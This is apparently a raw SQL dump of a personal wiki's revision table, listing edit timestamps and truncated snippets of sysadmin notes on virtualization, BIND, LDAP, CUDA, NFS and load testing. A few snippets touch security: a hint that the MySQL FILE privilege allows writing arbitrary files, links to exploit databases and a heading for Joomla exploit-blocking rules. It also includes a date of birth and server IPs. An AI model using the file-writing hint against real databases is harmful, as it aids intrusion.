http://www.theparisreview.org/viewbook.php/prmMID/5976',1,'WikiAdmin','20100131210729',0,0,68,0),(821,259,819,'',4,'Kyle','20100202011453',0,0,238,818),(819,260,817,'New page: Here are some links on configuring Mediatomb: For Mediatomb streaming to PS3 and transcoding edits to config.xml: http://forums.fedoraforum.org/showthread.php?p=924980 /home/paracelsus/...',1,'WikiAdmin','20100131212136',0,0,6669,0),(1243,260,1241,'',1,'WikiAdmin','20101114221014',0,0,7694,819),(822,261,820,'New page: == Why Chat == I\'ve found on line classes at SPC to be not that great of an experience, largely due to the complete isolation of students imposed by Angel. Angel\'\'\' \'\'really\'\'\'\'\' lakes ...',1,'WikiAdmin','20100202023617',0,0,3745,0),(823,261,821,'/* Internet Relay Chat */',1,'WikiAdmin','20100202025926',0,0,3922,822),(824,261,822,'',1,'WikiAdmin','20100203015825',0,0,3922,823),(825,262,823,'New page: DOB: 05/13/1967 Gift ideas:',1,'WikiAdmin','20100205201114',0,0,31,0),(826,263,824,'New page: == Xend and Virt-install == [root@station19 ~]# virt-install -p -n vcracker -r 256 -f /dev/vol0/lv.cracker -w network:default -l http://instructor.example.com/pub -x ks=http://instruct...',1,'WikiAdmin','20100208160627',0,0,560,0),(827,263,825,'/* Xend and Virt-install */',1,'WikiAdmin','20100208160943',0,0,652,826),(828,263,826,'/* Xend and Virt-install */',1,'WikiAdmin','20100208174217',0,0,964,827),(829,263,827,'/* Xend and Virt-install */',1,'WikiAdmin','20100208174623',0,0,1056,828),(830,263,828,'/* Xend and Virt-install */',1,'WikiAdmin','20100208204511',0,0,1154,829),(831,263,829,'/* EPEL */',1,'WikiAdmin','20100208220901',0,0,1332,830),(832,263,830,'/* syslog */',1,'WikiAdmin','20100209154325',0,0,2266,831),(833,263,831,'/* Automounts */',1,'WikiAdmin','20100209155019',0,0,2322,832),(834,263,832,'/* initscripts options */',1,'WikiAdmin','20100209160119',0,0,2426,833),(835,263,833,'/* initscripts options */',1,'WikiAdmin','20100209160433',0,0,2495,834),(836,263,834,'/* initscripts options */',1,'WikiAdmin','20100209212337',0,0,2985,835),(837,263,835,'/* ACL Permissions */',1,'WikiAdmin','20100209213607',0,0,3301,836),(838,263,836,'/* User Accounts */',1,'WikiAdmin','20100209214305',0,0,3497,837),(839,263,837,'/* User Accounts */',1,'WikiAdmin','20100209220142',0,0,3647,838),(840,263,838,'/* User Accounts */',1,'WikiAdmin','20100209221450',0,0,3722,839),(841,263,839,'/* ACL Permissions */',1,'WikiAdmin','20100209222558',0,0,3807,840),(842,263,840,'/* Xend and Virt-install */',1,'WikiAdmin','20100210133848',0,0,3892,841),(843,263,841,'/* User Accounts */',1,'WikiAdmin','20100210141507',0,0,3980,842),(844,263,842,'/* User Accounts */',1,'WikiAdmin','20100210142734',0,0,4466,843),(845,263,843,'/* Autofs */',1,'WikiAdmin','20100210144615',0,0,5467,844),(846,263,844,'/* PAM */',1,'WikiAdmin','20100210144814',0,0,5567,845),(847,263,845,'/* PAM */',1,'WikiAdmin','20100210151519',0,0,6308,846),(848,263,846,'/* PAM */',1,'WikiAdmin','20100210151717',0,0,6353,847),(849,263,847,'/* PAM */',1,'WikiAdmin','20100210154503',0,0,6552,848),(850,263,848,'/* File system Quotas */',1,'WikiAdmin','20100210162316',0,0,7801,849),(851,263,849,'/* SE Linux */',1,'WikiAdmin','20100210174647',0,0,8361,850),(852,263,850,'/* SE Linux */',1,'WikiAdmin','20100210175133',0,0,8780,851),(853,263,851,'/* SE Linux */',1,'WikiAdmin','20100210180455',0,0,9114,852),(854,263,852,'/* Netfilter / iptables */',1,'WikiAdmin','20100210180803',0,0,9123,853),(855,263,853,'/* Netfilter / iptables */',1,'WikiAdmin','20100210181552',0,0,9253,854),(856,263,854,'/* Netfilter / iptables */',1,'WikiAdmin','20100210181918',0,0,9315,855),(857,263,855,'/* Netfilter / iptables */',1,'WikiAdmin','20100210183227',0,0,9698,856),(858,263,856,'/* Netfilter / iptables */',1,'WikiAdmin','20100210183651',0,0,9943,857),(859,263,857,'/* Netfilter / iptables */',1,'WikiAdmin','20100210183839',0,0,10014,858),(860,263,858,'/* Netfilter / iptables */',1,'WikiAdmin','20100210190635',0,0,10743,859),(861,263,859,'/* Netfilter / iptables */',1,'WikiAdmin','20100210193215',0,0,11407,860),(862,263,860,'/* tcp wrappers */',1,'WikiAdmin','20100210214251',0,0,11705,861),(863,263,861,'/* Apache & Squid */',1,'WikiAdmin','20100210221836',0,0,12134,862),(864,263,862,'/* Apache & Squid */',1,'WikiAdmin','20100211180817',0,0,14042,863),(865,263,863,'/* Network File Sharing */',1,'WikiAdmin','20100211184600',0,0,14403,864),(866,263,864,'/* SE Linux */',1,'WikiAdmin','20100211185934',0,0,14390,865),(867,263,865,'/* Network File Sharing */',1,'WikiAdmin','20100211200021',0,0,14540,866),(868,263,866,'/* Network File Sharing */',1,'WikiAdmin','20100211203542',0,0,15410,867),(869,263,867,'/* MTA Config */',1,'WikiAdmin','20100211205050',0,0,15402,868),(870,263,868,'/* Network File Sharing */',1,'WikiAdmin','20100211221117',0,0,15867,869),(872,263,870,'/* Network File Sharing */',1,'WikiAdmin','20100213192059',0,0,16336,870),(873,263,871,'/* Network File Sharing */',1,'WikiAdmin','20100213210316',0,0,17009,872),(871,264,869,'New page: [root@server19 /]# cat /var/named/chroot/etc/named.conf // // named.caching-nameserver.conf // // Provided by Red Hat caching-nameserver package to configure the // ISC BIND named(8)...',1,'WikiAdmin','20100211222153',0,0,1516,0),(874,265,872,'New page: == pdflush tunables == This is a sneaky one that come up from time to time: sometimes you will see messages showing up in /var/log/messages (or /var/log/kern.log)indicating issues with th...',1,'WikiAdmin','20100218205158',0,0,2355,0),(875,266,873,'New page: Setting up an LDAP server in Suse is pretty straight forward. You can then easily export home directories via nfs and set up the automouter on clients to auto mount LDAP user home director...',1,'WikiAdmin','20100219154601',0,0,1266,0),(876,267,874,'New page: Many popular distros support the PowerPC architecture, so if you have an older Mac (G3, G4, G5) or a Playstation you have a number of options. For a full list see [[http://penguinppc.org/a...',1,'WikiAdmin','20100220140910',0,0,969,0),(877,267,875,'',1,'WikiAdmin','20100220141950',0,0,1063,876),(881,268,879,'New page: \'\'\'Frozen SSH Session:\'\'\' End the connection and return to the parent shell with: [enter]~. (That is press and hold: Enter, then tilda, then period.)',1,'WikiAdmin','20100301134531',0,0,151,0),(1034,268,1032,'',1,'WikiAdmin','20100704224202',0,0,135,881),(882,269,880,'New page: [[http://wiki.squid-cache.org/SquidFaq/SquidLogs#squid_result_codes Result Codes]] are handy to have. The FAQ is [[http://wiki.squid-cache.org/SquidFaq here]] How to make squid not cache...',1,'WikiAdmin','20100301204448',0,0,1251,0),(1090,269,1088,'',1,'WikiAdmin','20100807195803',0,0,1682,882),(884,270,882,'New page: Test servers: 208.38.164.20 -21 When trying to follow the tutorial at http://cfengine.com/pages/demos?view=Installation The steps result in an error: missing failsafe.cf as the config fi...',1,'WikiAdmin','20100305011708',0,0,1427,0),(888,270,886,'',1,'WikiAdmin','20100308004708',0,0,2086,884),(889,270,887,'/* vim highlighting */',1,'WikiAdmin','20100308004906',0,0,2176,888),(943,270,941,'/* vim highlighting */',1,'WikiAdmin','20100414160034',0,0,2279,889),(944,270,942,'/* vim highlighting */',1,'WikiAdmin','20100414161633',0,0,2921,943),(945,270,943,'/* First Promises */',1,'WikiAdmin','20100414164858',0,0,3233,944),(946,270,944,'/* First Promises */',1,'WikiAdmin','20100414165240',0,0,3392,945),(1123,270,1121,'',1,'WikiAdmin','20100914123209',0,0,3799,946),(892,271,890,'New page: Information on the Intel Core i3 and i5 architecture: http://techreport.com/articles.x/18216 Various Tiger Direct notbooks, including some i3 and i5 ones: http://www.tigerdirect.com/ap...',1,'WikiAdmin','20100313010628',0,0,704,0),(893,271,891,'',1,'WikiAdmin','20100313014402',0,0,834,892),(896,272,894,'New page: Super great intro to curl is: http://www.tuxradar.com/practicalphp/15/10/2 Note that you need to specify the returntransfer option to get the full results returned rather than a simple b...',1,'WikiAdmin','20100314191952',0,0,464,0),(1118,272,1116,'',1,'WikiAdmin','20100824140618',0,0,571,896),(1119,272,1117,'',1,'WikiAdmin','20100824141221',0,0,688,1118),(897,273,895,'New page: Chapter6: Non-consequential Ethical Theories Socrates: Morality: Laws, rules, standards of conduct, etc. Ethics: Study of morality',1,'WikiAdmin','20100314202456',0,0,133,0),(898,274,896,'New page: Here is just a big old mess of notes on what I did to get this to compile - before learning there is a makefile in the branches svn tree :) paracelsus@anduril:~/twitcurl-read-only...',1,'WikiAdmin','20100314235425',0,0,4590,0),(900,275,898,'New page: I have the kernel and initrd for my Ubuntu Linux distro (on an SD card) on my primary SDD, which runs Solaris. This way, I boot the kernel and initrd off the hard drive, then point the ro...',1,'WikiAdmin','20100319130943',0,0,2105,0),(901,276,899,'New page: If you have access as a MySQL user, you may be able to create files with content you specify. This requires that the mysql user have the global FILE permission though, so you will likely ...',1,'WikiAdmin','20100319203445',0,0,1687,0),(902,276,900,'',1,'WikiAdmin','20100319203525',0,0,1749,901),(903,276,901,'',1,'WikiAdmin','20100319203807',0,0,1833,902),(904,276,902,'',1,'WikiAdmin','20100319203851',0,0,1890,903),(905,276,903,'',1,'WikiAdmin','20100319204317',0,0,1897,904),(906,276,904,'',1,'WikiAdmin','20100319205057',0,0,2468,905),(907,276,905,'',1,'WikiAdmin','20100319205121',0,0,2467,906),(908,276,906,'',1,'WikiAdmin','20100319205224',0,0,2461,907),(909,277,907,'New page: Sample to determine what debug libraries are needed to get debugging symbols. http://techbase.kde.org/Development/Tutorials/Debugging/How_to_create_useful_crash_reports http://packages.u...',1,'WikiAdmin','20100322133439',0,0,4179,0),(918,277,916,'',1,'WikiAdmin','20100325230711',0,0,4296,909),(912,278,910,'New page: http://www.gaslampfantasy.com/ Massive index of various sites: http://etheremporium.pbworks.com/Clothing-and-Costuming Really cool CG animations from this contest: http://features.cg...',1,'WikiAdmin','20100325132255',0,0,325,0),(913,279,911,'New page: The home page for [http://gnaural.sourceforge.net/ Gnaural] will get you started and you can get some sample sound files [http://pantheon.yale.edu/~bbl2/GnauralExampleFiles.html here]',1,'WikiAdmin','20100325132528',0,0,183,0),(914,280,912,'New page: \'\'\'Debian\'\'\' Setting up SSL and Vhosts in Debian is described in the following articles. Debian use a2... commands to enable and disable sites and Apache modules. http://www.debianadmi...',1,'WikiAdmin','20100325132747',0,0,431,0),(919,281,917,'New page: nvidia-xcongig --composite nvidia-xconfig --render-accel nividia-xconfig --add-argb-glx-visuals d24 # nvidia-xconfig: X configuration file generated by nvidia-xconfig # nvidia-xc...',1,'WikiAdmin','20100326192816',0,0,5565,0),(922,282,920,'New page: \'\'\'Solaris USB to Serial Adapter\'\'\' Both of these single port USB to RS 232 Adapters are supported per the [http://www.sun.com/io_technologies/usb/USB-Faq.html#Serial Solaris USB FAQ]: K...',1,'WikiAdmin','20100329162544',0,0,346,0),(923,283,921,'New page: A very basic Linux Journal article is [http://www.linuxjournal.com/magazine/nginx-high-performance-web-server-and-reverse-proxy here] [http://blogs.sun.com/dap/entry/event_ports_and_perf...',1,'WikiAdmin','20100331235950',0,0,240,0),(925,284,923,'New page: SN: YM33885JNVR PC 3200 [http://support.apple.com/kb/HT1305 Inside your G5] [http://support.apple.com/kb/SP96 Tech Specs] for this G5 2004 Model Apple Part Number 661-3144 Powermac G...',1,'WikiAdmin','20100402142447',0,0,447,0),(927,285,925,'New page: Application Sources: http://en.androidwiki.com/wiki/Applications http://www.android.com/market/paid.html A few Sample scube apps: http://www.androlib.com/android.application.divestoc...',1,'WikiAdmin','20100404141852',0,0,290,0),(928,285,926,'',1,'WikiAdmin','20100404153626',0,0,797,927),(929,285,927,'/* Development Tutorials: */',1,'WikiAdmin','20100404154938',0,0,983,928),(930,285,928,'/* Getting Started */',1,'WikiAdmin','20100404184924',0,0,1973,929),(947,286,945,'New page: Which states use [http://www.aamva.org/KnowledgeCenter/DLIDStandards/IDSecurityTechnologies/uslicensetechnology.htm aamva standard] drivers licenses. Wikipedia [http://en.wikipedia.org/...',1,'WikiAdmin','20100414213607',0,0,752,0),(948,286,946,'',1,'WikiAdmin','20100414213841',0,0,789,947),(949,287,947,'New page: Here are some examples to block out common exploits taken from [http://www.marcofolio.net/joomla/7_tips_to_optimize_joomla_security.html this site.] ########## Begin - Rewrite rule...',1,'WikiAdmin','20100418124951',0,0,1355,0),(950,288,948,'New page: Some Good Sites listing vulnerabilities: http://www.exploit-db.com/ http://www.milw0rm.com/',1,'WikiAdmin','20100418133315',0,0,95,0),(951,288,949,'',1,'WikiAdmin','20100419122615',0,0,122,950),(954,289,952,'New page: \'\'\'Papers\'\'\': http://www.poly.usf.edu/documents/cereal/docs/C19%20-%20%20EIAE%20-%20softice%20techy%20stuff.pdf SOFTICE Wiki http://softice.lakeland.usf.edu/wiki/index.php/Special:Al...',1,'WikiAdmin','20100509194249',0,0,295,0),(955,290,953,'New page: \'\'\'Glue:\'\'\' http://stripesnoop.sourceforge.net \'\'\'JavaPOS References:\'\'\' http://www.javapos.com/downloads/UnifiedPOSVersion1.7.pdf http://www.javapos.com/docs.html http://jposloader...',1,'WikiAdmin','20100509205936',0,0,686,0),(957,291,955,'New page: There are many \"How to compile a kernel the {distro of your choice} way\" and these are usually great guides. However, there are steps which are sometimes not well explained, or other aspec...',1,'WikiAdmin','20100514134617',0,0,2042,0),(958,291,956,'',1,'WikiAdmin','20100514135002',0,0,2110,957),(1265,291,1263,'',1,'WikiAdmin','20101207004815',0,0,3707,958),(1282,291,1280,'/* New Notes */',1,'WikiAdmin','20101216232026',0,0,4316,1265),(959,292,957,'New page: Trying to add users in dsgw on CentOS gives an error http://www.redhat.com/docs/manuals/dir-server/8.1/schema/nsAIMpresence.html Installed the newer version 1.2.6.a3 (Alpha 3) of ds-ba...',1,'WikiAdmin','20100514204623',0,0,397,0),(960,292,958,'',1,'WikiAdmin','20100514205104',0,0,1040,959),(961,292,959,'',1,'WikiAdmin','20100514210359',0,0,1209,960),(962,292,960,'',1,'WikiAdmin','20100515023303',0,0,1380,961),(963,292,961,'',1,'WikiAdmin','20100515032301',0,0,1913,962),(964,292,962,'',1,'WikiAdmin','20100515042245',0,0,2036,963),(965,292,963,'',1,'WikiAdmin','20100515042522',0,0,2143,964),(966,292,964,'',1,'WikiAdmin','20100516171337',0,0,2213,965),(967,292,965,'',1,'WikiAdmin','20100518183049',0,0,2507,966),(968,292,966,'',1,'WikiAdmin','20100519191623',0,0,2622,967),(972,292,970,'',1,'WikiAdmin','20100531210125',0,0,2753,968),(970,293,968,'New page: Installing Warcraft 3 ROC on Linux itself is fairly straight forward: *Install the game with Wine / Crossover Games *[http://us.blizzard.com/support/article.xml?articleId=21220 Download] ...',1,'WikiAdmin','20100523043520',0,0,1431,0),(971,294,969,'New page: \'\'\'Importing from LDAP\'\'\' http://docs.limesurvey.org/tiki-index.php?page=Tokens+in+Version+1.85#LDAP_import http://docs.limesurvey.org/tiki-index.php?page=LDAP+settings&highlight=tokens...',1,'WikiAdmin','20100526203951',0,0,523,0),(973,295,971,'New page: \'\'\'CentOS\'\'\' Mirror List: http://www.centos.org/modules/tinycontent/index.php?id=30 Set up a cron job to rsync your version, such as: rsync -vaqzH --delete mirrors.usc.edu::centos/5....',1,'WikiAdmin','20100602180502',0,0,490,0),(978,295,976,'',1,'WikiAdmin','20100604152135',0,0,625,973),(975,296,973,'New page: If you are setting up a domain in Cpanel to use Gmail, see: Configuring Your MX Records: cPanel http://www.google.com/support/a/bin/answer.py?answer=54717 And this site which has a bit ...',1,'WikiAdmin','20100604035319',0,0,508,0),(980,297,978,'New page: == iozone == A great introductory tutorial on iozone is [http://www.listown.com/rssdetial/16200.htm here] and another one [http://www.cyberciti.biz/tips/linux-filesystem-benchmarking-with...',1,'WikiAdmin','20100607201406',0,0,1641,0),(981,297,979,'/* iozone */',1,'WikiAdmin','20100607205421',0,0,1663,980),(985,297,983,'/* gnuplot References */',1,'WikiAdmin','20100610141756',0,0,1787,981),(996,297,994,'/* iozone */',1,'WikiAdmin','20100621181316',0,0,2174,985),(982,298,980,'New page: http://nfs.sourceforge.net/ (See section: A8. What is close-to-open cache consistency? ) \'\'\'Testing Tools\'\'\' Iozone iotop -n Clearing counters NFS log tunable \'\'\'Local NFS Cachin...',1,'WikiAdmin','20100608210401',0,0,900,0),(984,298,982,'',1,'WikiAdmin','20100610133643',0,0,1882,982),(983,299,981,'New page: While PHP is great to use with MySQL, it can be a bit overkill for simple operations. In such cases you might accomplish what you need with a bash script. Here is an example for pulling DN...',1,'WikiAdmin','20100609165109',0,0,1895,0),(987,300,985,'New page: From the official site http://jakarta.apache.org/jmeter \'\'Apache JMeter is open source software, a 100% pure Java desktop application designed to load test functional behavior and measur...',1,'WikiAdmin','20100617185650',0,0,2522,0),(988,300,986,'',1,'WikiAdmin','20100617190143',0,0,2990,987),(992,300,990,'',1,'WikiAdmin','20100618140827',0,0,3062,988),(993,300,991,'',1,'WikiAdmin','20100618141636',0,0,3297,992),(994,300,992,'',1,'WikiAdmin','20100618141915',0,0,3718,993),(1056,300,1054,'',1,'WikiAdmin','20100723144146',0,0,5067,994),(1057,300,1055,'/* Templates */',1,'WikiAdmin','20100723154505',0,0,5068,1056),(1058,300,1056,'/* Defining Test Threads */',1,'WikiAdmin','20100723154621',0,0,5074,1057),(1059,300,1057,'/* Defining Test Threads */',1,'WikiAdmin','20100723154644',0,0,5075,1058),(1060,300,1058,'/* Simple Data Writer */',1,'WikiAdmin','20100723154821',0,0,5075,1059),(1062,300,1060,'/* Templates */',1,'WikiAdmin','20100723164359',0,0,5237,1060),(1064,300,1062,'/* Templates */',1,'WikiAdmin','20100723165526',0,0,5453,1062),(989,301,987,'New page: == Seige == http://www.joedog.org/index/siege-home siege -g -v -u https://domain.com This will grab and display headers',1,'WikiAdmin','20100618130104',0,0,123,0),(990,301,988,'/* Seige */',1,'WikiAdmin','20100618130538',0,0,340,989),(991,302,989,'New page: == Oak Ridge Facility == == Research == == Jaguar == http://www.nccs.gov/jaguar/',1,'WikiAdmin','20100618130745',0,0,90,0),(1024,302,1022,'/* Research */',1,'WikiAdmin','20100626224520',0,0,624,991),(1025,302,1023,'/* Research */',1,'WikiAdmin','20100626225203',0,0,756,1024),(1026,302,1024,'/* Research */',1,'WikiAdmin','20100626231210',0,0,1492,1025),(1031,302,1029,'',1,'WikiAdmin','20100629233051',0,0,1952,1026),(1032,302,1030,'/* Research */',1,'WikiAdmin','20100629233127',0,0,2001,1031),(1043,302,1041,'/* Research */',1,'WikiAdmin','20100715130201',0,0,2122,1032),(1114,302,1112,'/* Research */',1,'WikiAdmin','20100819013029',0,0,2397,1043),(1325,302,1323,'/* Genomics */',1,'WikiAdmin','20101221210142',0,0,2462,1114),(1346,302,1344,'/* Computational Biology Applications */',1,'WikiAdmin','20110104142021',0,0,2812,1325),(1347,302,1345,'/* Parallel Computing */',1,'WikiAdmin','20110104143432',0,0,2846,1346),(995,303,993,'New page: Here are various ideas we have for integrating into future house designs: == Bathroom == Irish moss marble Featured in this [http://trendsideas.com/ViewArticle.aspx?article=13685®io...',1,'WikiAdmin','20100620001112',0,0,481,0),(1160,303,1158,'/* Bathroom */',5,'Mieren','20101010195615',0,0,624,995),(1161,303,1159,'/* Home Architectural Ideas */',5,'Mieren','20101010200338',0,0,619,1160),(1299,303,1297,'/* Bathroom */',5,'Mieren','20101219225102',0,0,1158,1161),(1362,303,1360,'/* Kitchen */',5,'Mieren','20110111161515',0,0,1656,1299),(997,304,995,'New page: == CUDA == http://en.wikipedia.org/wiki/CUDA http://www.nvidia.com/object/fermi_architecture.html == Tutorials == http://llpanorama.wordpress.com/cuda-tutorial/',1,'WikiAdmin','20100622020945',0,0,166,0),(1069,304,1067,'/* Tutorials */',1,'WikiAdmin','20100724170349',0,0,364,997),(1073,304,1071,'/* Tutorials */',1,'WikiAdmin','20100728040239',0,0,619,1069),(1074,304,1072,'/* GPU Caps Viewer */',1,'WikiAdmin','20100728040355',0,0,677,1073),(1075,304,1073,'/* CUDA */',1,'WikiAdmin','20100728044058',0,0,918,1074),(1076,304,1074,'/* OpenCL */',1,'WikiAdmin','20100728044136',0,0,1032,1075),(1077,304,1075,'/* OpenCL */',1,'WikiAdmin','20100728044657',0,0,1205,1076),(1092,304,1090,'/* OpenCL */',1,'WikiAdmin','20100808105738',0,0,1309,1077),(1093,304,1091,'/* OpenCL */',1,'WikiAdmin','20100808105806',0,0,1381,1092),(1094,304,1092,'/* GPU Caps Viewer */',1,'WikiAdmin','20100808110316',0,0,2009,1093),(1095,304,1093,'/* GPU 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Install / Compile Issues */',1,'WikiAdmin','20101121145027',0,0,12653,1108),(1254,304,1252,'/* Install / Compile Issues */',1,'WikiAdmin','20101121152538',0,0,12666,1253),(1255,304,1253,'/* CUDA SDK 3.2 Update */',1,'WikiAdmin','20101122000658',0,0,12739,1254),(1285,304,1283,'/* GPU Caps Viewer */',1,'WikiAdmin','20101217000242',0,0,13059,1255),(1320,304,1318,'/* Now what? */',1,'WikiAdmin','20101221202730',0,0,13226,1285),(1321,304,1319,'/* Books */',1,'WikiAdmin','20101221202806',0,0,13306,1320),(998,305,996,'New page: == Data Matrix Codes == http://www.libdmtx.org/ Home of the libraries necessary to decode / encore data matrix codes vi the utilities dmtxquery dmtxread dmtxwrite == Q...',1,'WikiAdmin','20100622022306',0,0,583,0),(999,306,997,'New page: EVGA GeForce GT 220 FTW Video Card - 1024MB DDR3, PCI-Express 2.0, DVI, HDMI, VGA Cuda capable Item Number: E145-0224 $64 Tiger until 31 July (reg $99) (48 cores) EVGA 512-P3-1242...',1,'WikiAdmin','20100622022427',0,0,573,0),(1050,306,1048,'',1,'WikiAdmin','20100720230724',0,0,909,999),(1051,306,1049,'',1,'WikiAdmin','20100720230858',0,0,953,1050),(1052,306,1050,'',1,'WikiAdmin','20100720231914',0,0,963,1051),(1053,306,1051,'',1,'WikiAdmin','20100720233105',0,0,1083,1052),(1082,306,1080,'',1,'WikiAdmin','20100802002732',0,0,1218,1053),(1001,307,999,'New page: These are rough notes of how to install NFS Caching, consisting of using a kernel with the necessary configs, the required kernel module (fscache), building nfs-utils to support the new mo...',1,'WikiAdmin','20100622140923',0,0,3877,0),(1002,308,1000,'New page: == Documentation == http://download.uib.de/doku/opsi-getting-started-v34-en.pdf http://download.uib.de/opsi_stable/doku//depotserver_installation_en.pdf Pretty rough translations from ...',1,'WikiAdmin','20100622205049',0,0,1776,0),(1003,308,1001,'/* Documentation */',1,'WikiAdmin','20100623133728',0,0,2331,1002),(1004,308,1002,'/* Install CD */',1,'WikiAdmin','20100623145701',0,0,2575,1003),(1005,308,1003,'/* Install CD */',1,'WikiAdmin','20100623162640',0,0,2659,1004),(1006,308,1004,'/* Install CD */',1,'WikiAdmin','20100623181016',0,0,2880,1005),(1007,308,1005,'/* Install CD */',1,'WikiAdmin','20100623191626',0,0,2943,1006),(1008,308,1006,'/* PXE Menu */',1,'WikiAdmin','20100623193913',0,0,3403,1007),(1009,308,1007,'/* Troubleshooting */',1,'WikiAdmin','20100623193957',0,0,3485,1008),(1010,308,1008,'/* Troubleshooting */',1,'WikiAdmin','20100624155515',0,0,3856,1009),(1011,308,1009,'/* Troubleshooting */',1,'WikiAdmin','20100624161135',0,0,4506,1010),(1012,308,1010,'/* Key Management */',1,'WikiAdmin','20100624173907',0,0,4808,1011),(1013,308,1011,'/* Documentation */',1,'WikiAdmin','20100624180935',0,0,4867,1012),(1014,308,1012,'/* Drivers */',1,'WikiAdmin','20100624201207',0,0,5328,1013),(1015,308,1013,'/* Drivers */',1,'WikiAdmin','20100624235722',0,0,6143,1014),(1016,308,1014,'/* Drivers */',1,'WikiAdmin','20100625000652',0,0,6152,1015),(1017,308,1015,'/* Troubleshooting */',1,'WikiAdmin','20100625001423',0,0,6380,1016),(1018,308,1016,'/* Drivers */',1,'WikiAdmin','20100625125948',0,0,6534,1017),(1019,308,1017,'/* Key Management */',1,'WikiAdmin','20100625133738',0,0,7402,1018),(1020,308,1018,'/* Software Distribution */',1,'WikiAdmin','20100625134455',0,0,7577,1019),(1021,308,1019,'',1,'WikiAdmin','20100625141012',0,0,8348,1020),(1022,308,1020,'/* Software Distribution */',1,'WikiAdmin','20100625145322',0,0,8611,1021),(1023,308,1021,'/* Software Distribution */',1,'WikiAdmin','20100625152255',0,0,9788,1022),(1041,308,1039,'',1,'WikiAdmin','20100714204439',0,0,11645,1023),(1027,309,1025,'New page: This wiki contains a number of articles written for a variety of purposes and audiences. Some are complete instructional or reference articles, others are outlines of future articles for p...',1,'WikiAdmin','20100629231415',0,0,1178,0),(1029,309,1027,'',1,'WikiAdmin','20100629232254',0,0,1192,1027),(1113,309,1111,'',1,'WikiAdmin','20100812140204',0,0,1209,1029),(1033,310,1031,'New page: There are several handy ways to update alternative for Java versions, default mail server and other things. Here is a list of some useful ones: \'\'\'Java\'\'\' update-alternatives --config j...',1,'WikiAdmin','20100704200432',0,0,281,0),(1194,310,1192,'',1,'WikiAdmin','20101028174847',0,0,533,1033),(1039,311,1037,'New page: == Acknowledgment == Thanks to Dan Thomas, a friend of mine and fellow student at SPC who created this PHP based web interface and database for the smarttest script. We are using this wit...',1,'WikiAdmin','20100713200847',0,0,2361,0),(1055,311,1053,'/* Web Interface */',1,'WikiAdmin','20100722204859',0,0,2415,1039),(1042,312,1040,'New page: == Diving Operators == \'\'\'Florida\'\'\' http://www.silentworldkeylargo.com/instruction/tech_train.html http://www.tildensscubacenter.com/ http://www.floridakeysdivectr.com/ A great resta...',1,'WikiAdmin','20100715012557',0,0,440,0),(1235,312,1233,'',1,'WikiAdmin','20101109142606',0,0,487,1042),(1044,313,1042,'New page: == Reference Sites: == A couple of good general RAID management sites: http://www.gentoo.org/doc/en/gentoo-x86+raid+lvm2-quickinstall.xml http://www.linux.org/docs/ldp/howto/Software-R...',1,'WikiAdmin','20100716142620',0,0,1482,0),(1084,313,1082,'/* Troubleshooting: */',1,'WikiAdmin','20100802204701',0,0,2115,1044),(1061,314,1059,'Jmeter Config For Kelby Cluster',1,'WikiAdmin','20100723163716',0,0,31,0),(1063,315,1061,'',1,'WikiAdmin','20100723165102',0,0,0,0),(1067,316,1065,'New page: == Knoxville == Links to potential homes: http://www.singletreerealtytn.com/property/719821/KAARMLS/ http://www.singletreerealtytn.com/property/723987/KAARMLS/ http://www.singletreere...',5,'Mieren','20100724154347',0,0,583,0),(1070,316,1068,'/* Knoxville */',1,'WikiAdmin','20100724171106',0,0,654,1067),(1068,317,1066,'New page: == Tutorials & Forums == http://openmp.org/forum/ Excellent resources and intro tutorials on MPI and Parallel Computing can be found at the Lawrence Livermore National Lab site: https:/...',1,'WikiAdmin','20100724165628',0,0,704,0),(1071,318,1069,'New page: Blog Post about E8 and making a flash simulator: http://troyworks.com/blog/2008/10/18/case-study-the-e8-particle-simulator-for-garrett-lisi/ Flash E8 Simulator: http://deferentialgeome...',1,'WikiAdmin','20100725222921',0,0,355,0),(1079,319,1077,'New page: In a secure environment, having fast access to servers can be a good thing. It allows very very fast support without having to wait for credentials, etc. (Yes, some could argue how very d...',1,'WikiAdmin','20100728074537',0,0,1138,0),(1106,319,1104,'/* Debian / Ubuntu */',1,'WikiAdmin','20100809180409',0,0,1150,1079),(1112,319,1110,'/* Debian / Ubuntu */',1,'WikiAdmin','20100810152742',0,0,1165,1106),(1081,320,1079,'New page: A decent intro tutorial can be found [http://www.linuxforu.com/how-to/the-art-of-guard-part-2-selinux-modes-and-policies/ here]',1,'WikiAdmin','20100728210425',0,0,127,0),(1180,320,1178,'',1,'WikiAdmin','20101014200749',0,0,193,1081),(1085,321,1083,'New page: Wireshark, of course, but also these are handy tools: http://ssscripting.wordpress.com/2009/03/17/how-to-submit-a-form-programmatically/ https://addons.mozilla.org/en-US/firefox/addon/...',1,'WikiAdmin','20100802204943',0,0,192,0),(1087,321,1085,'',1,'WikiAdmin','20100805235619',0,0,289,1085),(1086,322,1084,'New page: == Browser Traffic == Once connected, your default route is set to the VPN interface (tun0, ppp0, etc.) and all traffic is thus sent to it. In order to direct only internal traffic to the...',1,'WikiAdmin','20100805031610',0,0,824,0),(1091,323,1089,'New page: Here are some fun applications which take advantage of parallel processing using NVIDIA\'s CUDA architecture: \'\'\'Distributed Computing:\'\'\' [http://www.gpugrid.net/ GPUGRID] \"GPUGRID.net...',1,'WikiAdmin','20100807202004',0,0,870,0),(1115,323,1113,'',1,'WikiAdmin','20100819013410',0,0,1119,1091),(1245,323,1243,'/* Security / Hacking: */',1,'WikiAdmin','20101116205626',0,0,1311,1115),(1109,324,1107,'New page: See man smartd for full details To show what tests are scheduled in /etc/smartd.conf run #smartd -q showtests To add a test email, add -M test Here is an example of a custom test: <...',1,'WikiAdmin','20100810135525',0,0,642,0),(1110,324,1108,'',1,'WikiAdmin','20100810135801',0,0,1023,1109),(1111,324,1109,'',1,'WikiAdmin','20100810142843',0,0,1382,1110),(1116,325,1114,'New page: http://processors.wiki.ti.com/index.php/EZ430-Chronos http://processors.wiki.ti.com/index.php/Chronos_Flying_Mouse#Chronos_Flying_Mouse_Setup http://www.ti.com/corp/docs/landing/mcu/in...',1,'WikiAdmin','20100819174140',0,0,226,0),(1120,326,1118,'New page: [http://www.whoopis.com/howtos/fedora_64_32_rpm_emul.html How to install different architecture binaries on Linux]',1,'WikiAdmin','20100824141526',0,0,115,0),(1122,327,1120,'New page: http://en.wikipedia.org/wiki/Garbage_project Fascinating project which has produced interesting findings by studying landfill refuse. Here is an interesting NY Times [http://query.nytim...',1,'WikiAdmin','20100911022350',0,0,502,0),(1137,327,1135,'',1,'WikiAdmin','20100926160327',0,0,1050,1122),(1124,328,1122,'New page: == virt-manager == To launch virt-manger locally, and initiate a connection to a remote 